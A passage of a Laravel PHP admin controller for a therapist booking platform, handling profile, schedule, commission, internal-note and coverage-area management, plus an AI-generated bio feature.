            curl_setopt($ch, CURLOPT_HTTPHEADER, [
                "Authorization: Bearer $apiKey",
                "Content-Type: application/json",
                "HTTP-Referer: https://tradze.com",
                "X-Title: Bio Generator",
            ]);

            $payload = [
                'model' => 'mistralai/mistral-nemo',
                'messages' => [
                    [
                        'role' => 'user',
                        'content' => $prompt,
                    ]
                ]
            ];

            curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
            curl_setopt($ch, CURLOPT_TIMEOUT, 60);

            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);

            $data = json_decode($response, true);

            if ($httpCode !== 200 || !isset($data['choices'][0]['message']['content'])) {
                throw new \Exception("Invalid response: " . $response);
            }

            return response()->json([
                'success' => true,
                'message' => 'Bio generated successfully',
                'bio' => $data['choices'][0]['message']['content']
            ], 200);
        } catch (\Exception $e) {
            return response()->json([
                'success' => false,
                'error' => 'Failed to generate bio',
                'message' => $e->getMessage()
            ], 500);
        }
    }

    /**
     * Update the specified resource in storage.
     *
     * @param  int $id
     * @return Response 
     */
    public function update(TherapistUpdInfoRequest $request, $obj)
    {
        $user_data = [
            'name' => $request->first_name . ' ' . $request->last_name,
            'email' => $request->email,
            'show_email' => $request->show_email,
            'payment_method' => $request->payment_method,
            'instagram_id' => !empty($request->instagram_id) ? $request->instagram_id : '',
            'facebook_id' => !empty($request->facebook_id) ? $request->facebook_id : '',
            'tictok_id' => !empty($request->tictok_id) ? $request->tictok_id : '',
            'youtube_id' => !empty($request->youtube_id) ? $request->youtube_id : '',
        ];
        $user = User::where('id', $obj)->with('profile')->first();
        $user->update($user_data);

        $profile_data = [
            'first_name' => $request->first_name,
            'last_name' => $request->last_name,
            'mobile_number' => $request->mobile_number,
            'website_url' => $request->website_url,
            'show_mobile_number' => $request->show_mobile_number,
            'about' => $request->about,
            'transport_mode' => $request->transport_mode,
            'massage_table_status' => $request->massage_table_status,

            // New fields
            'home_lat' => $request->home_lat,
            'home_long' => $request->home_long,
            'home_address' => $request->home_address,

            'trade_lat' => $request->trade_lat,
            'trade_long' => $request->trade_long,
            'trade_address' => $request->trade_address,

            'business_name' => $request->business_name,
            'business_type' => $request->business_type,
            'utr_number' => $request->utr_number,
            'vat_number' => $request->vat_number,
            'registration_no' => $request->registration_no,
        ];

        $profile = $user->profile;
        $profile->update($profile_data);

        //sync services types
        $selected_services = (array)$request->service_id;
        foreach ($selected_services as $key => $srv) {
            if (!$srv)
                unset($selected_services[$key]);
        }

        $user->servicetypes()->sync((array) $selected_services);
        $user_id = $user->id;
        // $deleteworkingdays = DB::table("user_schedule")->where("user_id", $user_id)->delete();
        // $workingdays = $user->workingdays;
        //save therapist working days schedule
        //add working days to user
        foreach ($request->dayname as $key => $dayname) {
            $bo_start_len = count($request->bo_start[$key]);
            if ($bo_start_len) {
                for ($i = 0; $i < $bo_start_len; $i++) {
                    $day_data = [
                        'user_id'   => $user->id,
                        'name'      => $dayname,
                        'weekday'   => $key,
                        'dayoff'    => (int)@$request->dayoff[$key],
                        'bo_start'  => Carbon::createFromFormat('h:i A', $request->bo_start[$key][$i])->format('H:i'),
                        'bo_end'  => Carbon::createFromFormat('h:i A', $request->bo_end[$key][$i])->format('H:i'),
                    ];
                    //print_r($day_data); 
                    UserWorkingDay::create($day_data);
                }
            }
        } //endforeach 
        //die();
        //update working days
        // if (!$obj->workingdays->count()) {

        //     //add working days to user
        //     foreach ($request->dayname as $key => $dayname) {
        //         $day_data = [
        //             'user_id'   => $obj->id,  
        //             'name'      => $dayname,
        //             'weekday'   => $key,
        //             'dayoff'    => (int)@$request->dayoff[$key],
        //             'bo_start'  => Carbon::createFromFormat('h:i A', $request->bo_start[$key])->format('H:i'),
        //             'bo_end'  => Carbon::createFromFormat('h:i A', $request->bo_end[$key])->format('H:i'),
        //         ];
        //         UserWorkingDay::create($day_data);
        //     } //endforeach
        // } else {
        //     //update working days
        //     foreach ($obj->workingdays as $day) {
        //         $day_data = [
        //             'dayoff' => (int)@$request->dayoff[$day->weekday],
        //             'bo_start'  => Carbon::createFromFormat('h:i A', $request->bo_start[$day->weekday])->format('H:i'),
        //             'bo_end'  => Carbon::createFromFormat('h:i A', $request->bo_end[$day->weekday])->format('H:i'),  
        //         ];

        //         $day->update($day_data);
        //     } //endforeach
        // }

        //redirect
        if ($user->salon_id) {
            if ($request->save) {
                return redirect(route('admin.users.providers.edit', ['provider' => $user->id]));
            } elseif ($request->save_exit) {
                return redirect(route('admin.users.salon.therapists', ['provider' => $user->salon_id]));
            }
        }
        if ($request->save) {
            return redirect(route('admin.users.providers.edit', ['provider' => $user->id]));
        } elseif ($request->save_exit) {
            return redirect(route('admin.users.providers.index'));
        }
    }

    /**
     * Update user password
     * @param TherapistUpdPassRequest $request
     * @param $obj
     */
    public function update_pass(TherapistUpdPassRequest $request, $obj)
    {

        $data = [
            'password' => bcrypt($request->password),
        ];
        $user = User::where('id', $obj)->with('profile')->first();
        $user->update($data);

        //redirect
        if ($request->save) {
            return redirect(route('admin.users.providers.edit', ['provider' => $user->id]));
        } elseif ($request->save_exit) {
            return redirect(route('admin.users.providers.index'));
        }
    }

    /**
     * Update user password
     * @param TherapistUpdPassRequest $request
     * @param $obj
     */
    public function update_areas(TherapistUpdAreasRequest $request, $obj)
    {

        //save therapist district
        $user = User::where('id', $obj)->with('profile')->first();
        $profile = $user->profile;
        $profile->district_id = $request->district_id;
        $profile->save();

        //save new coverage areas
        $user->zones()->sync($request->zone_id);

        //redirect
        if ($request->save) {
            return redirect(route('admin.users.providers.edit', ['provider' => $user->id]) . "#tab_1_4");
        } elseif ($request->save_exit) {
            return redirect(route('admin.users.providers.index'));
        }
    }

    /**
     * Update user password
     * @param TherapistUpdPassRequest $request
     * @param $obj
     */
    public function update_avatar(TherapistUpdAvatarRequest $request, $obj)
    {
        $user = User::where('id', $obj)->with('profile')->first();
        $file = $request->file('avatar');
        $filename = Str::slug(str_replace($file->getClientOriginalExtension(), '', $file->getClientOriginalName()));
        $extension = $file->getClientOriginalExtension();

        $path_file = 'avatar/' . $filename . "." . $extension;

        //upload file
        $upload = Storage::disk('public_images')->put(
            $path_file,
            file_get_contents($request->file('avatar')->getRealPath())
        );

        $profile = $user->profile;
        $profile->avatar = $path_file;
        $profile->save();

        //redirect
        if ($request->save) {
            return redirect(route('admin.users.providers.edit', ['provider' => $user->id]));
        } elseif ($request->save_exit) {
            return redirect(route('admin.users.providers.index'));
        }
    }

    public function update_commisions(Request $request, $obj)
    {
        $user = User::where('id', $obj)->with('profile')->first();
        $errors = [];
        $rules = [];

        foreach ($request->services_duration_commisions as $k => $services_duration_commision) {
            $checkTotal = (float)$services_duration_commision['commision_co'] + (float)$services_duration_commision['commision_th'];
            $rules['price_' . $k] = 'required|numeric|min:0|size:' . $checkTotal;
            $prices['price_' . $k] = $services_duration_commision['price_' . $k];
        }

        $statusAll = Validator::make($prices, $rules);

        foreach ($request->services_duration_commisions as $k => $services_duration_commision) {
            $checkTotal = (float)$services_duration_commision['commision_co'] + (float)$services_duration_commision['commision_th'];
            $status = Validator::make($services_duration_commision, [
                'price_' . $k => 'required|numeric|min:0|size:' . $checkTotal,
            ]);
            if (!$status->fails()) {
                $dataServiceCommision['services_duration_id'] = $k;
                $dataServiceCommision['user_id'] = $user->id;

                $therapistServiceCommision = UserServiceDuration::firstOrCreate($dataServiceCommision);
                $therapistServiceCommision->commision_co = $services_duration_commision['commision_co'];
                $therapistServiceCommision->commision_th = $services_duration_commision['commision_th'];
                $therapistServiceCommision->price = $checkTotal;
                $therapistServiceCommision->save();
            }
        }

        if ($statusAll->fails()) {
            return redirect(route('admin.users.providers.edit', ['provider' => $user->id]) . "#tab_1_5")->withErrors($statusAll)->withInput();
        }
        //redirect
        if ($request->save) {
            return redirect(route('admin.users.providers.edit', ['provider' => $user->id]) . "#tab_1_5");
        } elseif ($request->save_exit) {
            return redirect(route('admin.users.providers.index'));
        }
    }

    /**
     * Delete page
     *
     * @param  int $id
     * @return \Illuminate\Http\Response
     */
    public function delete($id)
    {
        $obj = User::withTrashed()->where('id', $id)->first();
        $this->data['obj'] = $obj;

        return view('users::admin.therapists_delete', $this->data);
    }

    /**
     * Remove the specified resource from storage.
     *
     * @param  int $id
     * @return \Illuminate\Http\Response
     */
    // public function destroy($id)
    // {
    //     $obj = User::withTrashed()->where('id', $id)->first();

    //     $data['user'] = $obj;

    //     if (isset($obj->salon_id)) {
    //         $salon_id = $obj->salon_id;
    //     }


    //     //set object name
    //     $obj_name = $obj->name;
    //     UserServiceDuration::where('user_id', $obj->id)->delete();

    //     //delete contact
    //     if ($obj->forceDelete()) {
    //         Mail::send('users::admin.email_deleted_user_successfully', ['user' => $obj], function ($m) use ($data) {
    //             $m->from(env('MAIL_FROM'), env('APP_NAME'));
    //             $m->to($data['user']->email, $data['user']->name);
    //             $m->bcc(explode(',', env('MAIL_DELETE_USER_BCC')), env('MAIL_DELETE_USER_BCC_NAME'));
    //             $m->subject(env('APP_NAME') . ' – User Deleted Permanently');
    //         });
    //     }


    //     //set success message
    //     Flash::info(trans('users::therapists.message_confirm_delete', ['name' => $obj->name]));
    //     if (isset($salon_id)) {
    //         return redirect(route('admin.users.salon.therapists', ['id' => $salon_id]));
    //     }
    //     //redirect to contacts list
    //     return redirect(route('admin.users.therapists.index'));
    // }

    public function destroy($id)
    {
        DB::beginTransaction();

        try {
            // fetch user (including soft deleted)
            $obj = User::withTrashed()->where('id', $id)->firstOrFail();
            $data['user'] = $obj;

            // store salon id (old logic kept)
            if (isset($obj->salon_id)) {
                $salon_id = $obj->salon_id;
            }

            // store object name (old logic kept)
            $obj_name = $obj->name;

            /**
             * DELETE DEPENDENT RECORDS FIRST
             * (This fixes the foreign key error)
             */
            UserServiceDuration::where('user_id', $obj->id)->delete();
            UserInternalNote::where('user_id', $obj->id)->delete();

            /**
             * FORCE DELETE USER
             */
            if ($obj->forceDelete()) {

                Mail::send(
                    'users::admin.email_deleted_user_successfully',
                    ['user' => $obj],
                    function ($m) use ($data) {
                        $m->from(env('MAIL_FROM'), env('APP_NAME'));
                        $m->to($data['user']->email, $data['user']->name);
                        $m->bcc(
                            explode(',', env('MAIL_DELETE_USER_BCC')),
                            env('MAIL_DELETE_USER_BCC_NAME')
                        );
                        $m->subject(env('APP_NAME') . ' – User Deleted Permanently');
                    }
                );
            }

            DB::commit();

            // success message (old logic kept)
            Flash::info(
                trans('users::therapists.message_confirm_delete', [
                    'name' => $obj_name
                ])
            );

            // redirect (old logic kept)
            if (isset($salon_id)) {
                return redirect(
                    route('admin.users.salon.therapists', ['id' => $salon_id])
                );
            }

            return redirect(route('admin.users.providers.index'));
        } catch (\Exception $e) {
            DB::rollBack();

            \Log::error('User force delete failed', [
                'user_id' => $id,
                'error' => $e->getMessage()
            ]);

            Flash::error('Unable to delete user. Please try again.');

            return redirect()->back();
        }
    }

    public function reactivateUser($id)
    {
        $user = User::onlyTrashed()->find($id);

        if (!$user) {
            return redirect(route('admin.users.providers.index'));
        }

        $user->restore();

        return redirect(route('admin.users.providers.index'));
    }

    public function deactivateUser($id)
    {
        $user = User::find($id);

        if (!$user) {
            return redirect(route('admin.users.providers.index'));
        }

        $user->delete(); // Soft delete

        return redirect(route('admin.users.providers.index'));
    }

    public function internalNotes(Request $request, $id)
    {
        //load messages

        $user = User::with('workingdays')->find($id);

        $this->data['obj'] = $user;
        $this->data['workingdays'] = $user->workingdays;
        $this->data['daysoff'] = $user->daysoff;
        $this->data['threads'] = $user->threads;

        $this->data['internal_notes'] = $user->internal_notes;

        //display page
        return view('users::admin.user_internal_notes', $this->data);
    }

    public function addInternalNotes(Request $request)
    {
        if (empty($request->text_body)) {
            return redirect()->back()
                ->withErrors(['text_body' => 'The internal note field is required.'])
                ->withInput();
        }

        try {
            $internalNotes = new UserInternalNote();
            $internalNotes->text_body = $request->text_body;
            $internalNotes->user_id = $request->user_id; // Set the user_id
            $internalNotes->save();

            return redirect()
                ->route('admin.users.therapists.internalNotes', ['id' => $internalNotes->user_id])
                ->with('success', 'Internal note added successfully!');
        } catch (\Exception $e) {
            \Log::error('Failed to add internal note: ' . $e->getMessage());

            return redirect()->back()
                ->with('error', 'Failed to add internal note. Please try again.');
        }
    }

    public function updateinternalNotes(Request $request)
    {
        if (empty($request->text_body)) {
            return response()->json([
                'status' => 'error',
                'message' => 'The internal note field is required.',
            ], 422); // 422 Unprocessable Entity for validation errors
        }

        try {
            $internalNote = UserInternalNote::findOrFail($request->id);
            $internalNote->text_body = $request->text_body;
            $internalNote->save();

            return response()->json([
                'status' => 'success',
                'message' => 'Internal note updated successfully!',
                'data' => $internalNote
            ], 200);
        } catch (\Exception $e) {
            \Log::error('Failed to update internal note: ' . $e->getMessage());

            return response()->json([
                'status' => 'error',
                'message' => 'Failed to update internal note. Please try again.'
            ], 500);
        }
    }

    public function deleteInternalNotes(Request $request)
    {
        try {
            $internalNote = UserInternalNote::findOrFail($request->id);
            $internalNote->delete();

            return response()->json([
                'status' => 'success',
                'message' => 'Internal note deleted successfully!'
            ], 200);
        } catch (\Exception $e) {
            \Log::error('Failed to delete internal note: ' . $e->getMessage());

            return response()->json([
                'status' => 'error',
                'message' => 'Failed to delete internal note. Please try again.'
            ], 500);
        }
    }

    /**
     * Profile Overview
     * @param $obj
     */
    public function show($obj)
    {
        $user = User::find($obj);
        $user->role = $user->roles->pluck('name')->first();

        //load messages
        $saved_services = [];
        if (Auth::user()->hasRole('salon')) {
            foreach ($user->salonservicetypes as $serv)
                $saved_services[] = $serv->id;
        } else {
            foreach ($user->servicetypes as $serv)
                $saved_services[] = $serv->id;
        }
        $services_duration_commisions = [];

        foreach ($user->services_commisions as $key => $service) {
            $duration_service = ServiceDuration::find($key);
            // dd($duration_service);
            if ($duration_service->is_massage_duration == 1) {
                $services_duration_commisions[$key] = $service;
            } else {
                // dd("here", $duration_service);
                if (in_array($duration_service->sub_category_id, $saved_services)) {
                    $services_duration_commisions[$key] = $service;
                }
            }
        }

        $this->data['obj'] = $user;
        $this->data['workingdays'] = $user->workingdays;
        $this->data['services_duration_commisions'] =  $services_duration_commisions;
        $this->data['daysoff'] = $user->daysoff;
        $this->data['threads'] = $user->threads;
        $this->data['bookings'] = $user->therapistbookings()
            ->select('*', DB::raw('CONCAT_WS(" ",date,hour) as bookingdate'))
            ->whereRaw('CONCAT_WS(" ",date,hour) >= NOW()')
            ->whereHas('booking', function ($query) {
                return $query->where('is_active', 1);
            })
            ->orderBy('bookingdate', 'asc')
            ->get();

        //display page
        return view('users::admin.therapists_show', $this->data);
    }

    /**
     * Update massage me now
     * @param $obj
     */
    public function update_massage_me_now($obj, Request $request)
    {
        $user = User::with('profile')->find($obj);
        //update user massage me now status
        $profile = $user->profile;
        $profile->massage_me_now = $request->massage_me_now;
        $profile->save();

        //return response with success
        return redirect(route('admin.users.clients.show', ['client' => $obj]));
    }

    public function sort_therapists(Request $request)
    {
        if (isset($request->therapists)) {
            foreach ($request->therapists as $k => $therapist) {
                $therapistObj = User::withTrashed()->where('id', $therapist)->first();
                $therapistObj->nr_crt = $k;
                $therapistObj->save();
            }
        }
        return response(['message' => 'success'], 200);
    }

    public function add_coverage_areas(Request $request)
    {
        // echo "<pre>";
        // print_r($request->polygondata);
        // die('in');
        if (isset($request->polygondata)) {
            $therapist_id = $request->therapist_id;
            $last_coverage_areas = DB::table("therapists_coverage_areas")->where('user_id', $therapist_id)->orderBy('id', 'desc')->first();
            $last_polygon_no = !empty($last_coverage_areas->polygon_no) ? $last_coverage_areas->polygon_no + 1 : 1;
            $count = $last_polygon_no;
            $user_id = $request->therapist_id;
            foreach ($request->polygondata as $polygon) {
                foreach ($polygon as $value) {
                    $region = explode(',', $value);
                    $lat = $region[0];
                    $lng = $region[1];
                    $data = array(
                        'user_id'    => $user_id,
                        'polygon_no' => $count,
                        'lat'        => $lat,
                        'lng'        => $lng
                    );
                    //print_r($data);
                    DB::table("therapists_coverage_areas")->insert($data);
                }
                $count++;
            }
            return response(['message' => 'Coverage locations saved successfully'], 200);
        } else {
            return response(['message' => 'Please select region first '], 200);
        }
        return response(['message' => 'success'], 200);
    }

    public function get_therapists_coverage_areas(Request $request)
    {
        if (isset($request->therapist_id)) {
            $therapist_id = $request->therapist_id;
            $coverage_areas = DB::table("therapists_coverage_areas")->where('user_id', $therapist_id)->get();
            $attrs = [];
            foreach ($coverage_areas as $key => $value) {
                // -> as it return std object
                $attrs[$value->polygon_no][] = $value;
            }
            return response(['message' => 'Coverage locations', 'data' => $attrs], 200);
        } else {
            return response(['message' => 'therapist is not found'], 200);
        }
    }


    public function delete_coverage_areas(Request $request)
    {
        if (isset($request->remove_locations)) {
            $therapist_id = $request->therapist_id;
            foreach ($request->remove_locations as $polygon) {
                $region = explode(',', $polygon);
                $lat = $region[0];
                $lng = $region[1];
                $data = array(
                    'user_id'    => $therapist_id,
                    'lat'        => $lat,
                    'lng'        => $lng
                );
                //print_r($data);
                DB::table("therapists_coverage_areas")->where('user_id', $therapist_id)->where('lat', $lat)->where('lng', $lng)->delete();
            }
            return response(['message' => 'Coverage locations deleted successfully'], 200);
        } else {
            return response(['message' => 'Please select region first '], 200);
        }
        return response(['message' => 'success'], 200);
    }

    public function delete_all_coverage_areas(Request $request)
    {
        $therapist_id = $request->therapist_id;
        if (!empty($therapist_id)) {
            DB::table("therapists_coverage_areas")->where('user_id', $therapist_id)->delete();
            return response(['message' => 'All Coverage locations deleted successfully'], 200);
        } else {
            return response(['message' => 'Therapists ID not found'], 200);
        }
        return response(['message' => 'success'], 200);
    }


    public function add_travel_cost_for_areas(Request $request)
    {
        if (isset($request->polygondata)) {
            $therapist_id = $request->therapist_id;
            $region_price = $request->region_price;
            $last_coverage_areas = DB::table("therapists_travel_costs")->where('user_id', $therapist_id)->orderBy('id', 'desc')->first();
            $last_polygon_no = !empty($last_coverage_areas->polygon_no) ? $last_coverage_areas->polygon_no + 1 : 1;
            $count = $last_polygon_no;
            $user_id = $request->therapist_id;
            foreach ($request->polygondata as $polygon) {
                foreach ($polygon as $value) {
                    $region = explode(',', $value);
                    $lat = $region[0];
                    $lng = $region[1];
                    $data = array(
                        'user_id'    => $user_id,
                        'price'    => $region_price,
                        'polygon_no' => $count,
                        'lat'        => $lat,
                        'lng'        => $lng
                    );
                    //print_r($data);
                    DB::table("therapists_travel_costs")->insert($data);
                }
                $count++;
            }
            return response(['message' => 'Travel Cost saved for this region,please add for another region'], 200);
        } else {
            return response(['message' => 'Please select region first '], 200);
        }
        return response(['message' => 'success'], 200);
    }

    public function get_therapists_travel_cost_areas(Request $request)
    {
        if (isset($request->therapist_id)) {
            $therapist_id = $request->therapist_id;
            $coverage_areas = DB::table("therapists_travel_costs")->where('user_id', $therapist_id)->get();
            $attrs = [];
            foreach ($coverage_areas as $key => $value) {
                // -> as it return std object
                $attrs[$value->polygon_no][] = $value;
            }
            return response(['message' => 'Travel Cost locations', 'data' => $attrs], 200);
        } else {
            return response(['message' => 'therapist is not found'], 200);
        }
    }

    public function delete_travel_cost_areas(Request $request)
    {
        if (isset($request->remove_locations)) {
            $therapist_id = $request->therapist_id;
            foreach ($request->remove_locations as $polygon) {
                $region = explode(',', $polygon);
                $lat = $region[0];
                $lng = $region[1];
                $data = array(
                    'user_id'    => $therapist_id,
                    'lat'        => $lat,
                    'lng'        => $lng
                );
                //print_r($data);
                DB::table("therapists_travel_costs")->where('user_id', $therapist_id)->where('lat', $lat)->where('lng', $lng)->delete();
            }
            return response(['message' => 'Travel Cost locations deleted successfully'], 200);
        } else {
            return response(['message' => 'Please select region first '], 200);
        }
        return response(['message' => 'success'], 200);
    }

    public function delete_all_travel_cost_areas(Request $request)
    {
        $therapist_id = $request->therapist_id;
        if (!empty($therapist_id)) {
            DB::table("therapists_travel_costs")->where('user_id', $therapist_id)->delete();
            return response(['message' => 'All Travel Cost locations deleted successfully'], 200);
        } else {
            return response(['message' => 'Therapists ID not found'], 200);
        }
        return response(['message' => 'success'], 200);
    }

    protected function get_my_work($obj)
    {
        $results = [];
        $list = TherapistMyWork::where('user_id', $obj->id)
            ->orderBy('order', 'asc')
            ->orderBy('id', 'asc')
            ->get();

        foreach ($list as $li) {
            $results[$li->id] = [
                'id' => $li->id,
                'title' => $li->title,
                'order' => $li->order,
                'url' => $li->url,
                'path' => $li->path,
                'image' => $li->image,
            ];
        } //endforeach
        // dd($results);
        //return results
        return $results;
    }
}

ZeroDay Forums Mini